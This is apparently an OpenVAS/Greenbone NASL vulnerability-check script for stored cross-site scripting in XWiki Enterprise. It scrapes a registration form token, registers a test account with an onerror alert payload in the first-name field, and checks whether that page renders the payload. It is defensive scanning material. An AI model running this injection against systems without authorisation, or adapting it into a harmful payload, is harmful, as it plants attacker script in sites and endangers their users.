XWiki Enterprise Multiple Stored XSS Vulnerabilities

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:xwiki:xwiki";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802671");
  script_version("2024-06-27T05:05:29+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2024-06-27 05:05:29 +0000 (Thu, 27 Jun 2024)");
  script_tag(name:"creation_date", value:"2012-08-30 19:24:16 +0530 (Thu, 30 Aug 2012)");

  script_name("XWiki Enterprise Multiple Stored XSS Vulnerabilities");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/78026");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55235");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/20856/");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/115939/XWiki-4.2-milestone-2-Cross-Site-Scripting.html");

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_category(ACT_DESTRUCTIVE_ATTACK); # Stored XSS
  script_tag(name:"qod_type", value:"remote_analysis");
  script_family("Web application abuses");
  script_dependencies("gb_xwiki_enterprise_detect.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("xwiki/detected");
  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert arbitrary HTML
  and script code, which will be executed in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"XWiki version 4.2-milestone-2 and prior");

  script_tag(name:"insight", value:"The flaws are due to improper validation of user-supplied input via

  - the 'First Name', 'Last Name', 'Company', 'Phone', 'Blog', 'Blog Feed'
  field when editing a user's profile

  - the 'Label' field in WYSIWYG Editor when creating a link.

  - the 'SPACE NAME' field when creating a new space.

  Which allows attackers to execute arbitrary HTML and script code in a
  user's browser session in the context of an affected site.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"XWiki Enterprise is prone to cross-site scripting (XSS)
  vulnerabilities.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

xss  = "<img src='1.jpg'onerror=javascript:alert(0)>";

if (!xwikiPort = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: xwikiPort))
  exit(0);

if (dir == "/")
  dir = "";

useragent = http_get_user_agent();
host = http_host_name(port:xwikiPort);

url = dir + "/bin/register/XWiki/Register";

sndReq = http_get(item:url, port:xwikiPort);
rcvRes = http_keepalive_send_recv(port:xwikiPort, data:sndReq);

tokenValue = eregmatch(pattern:'name="form_token" value="([a-zA-Z0-9]+)"',
                       string:rcvRes);

if(!tokenValue || !tokenValue[1]){
  exit(0);
}

postdata = "form_token="+ tokenValue[1] +
           "&parent=xwiki%3AMain.UserDirectory&" +
           "register_first_name=" + xss + "&" +
           "register_last_name=&" +
           "xwikiname=ThisUserNameDefinitelyNotExists&" +
           "register_password=password&" +
           "register2_password=password&" +
           "register_email=&" +
           "template=XWiki.XWikiUserTemplate&"   +
           "xredirect=";

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Referer: http://", host, url, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postdata), "\r\n",
             "\r\n", postdata);
res = http_keepalive_send_recv(port:xwikiPort, data:req);

if (res)
{
  url = dir + "/bin/view/XWiki/ThisUserNameDefinitelyNotExists";

  if(http_vuln_check(port:xwikiPort, url:url, check_header: TRUE,
     pattern:"<img src='1.jpg'onerror=javascript:alert\(0\)>"))
  {
    security_message(port:xwikiPort);
    exit(0);
  }
}

exit(99);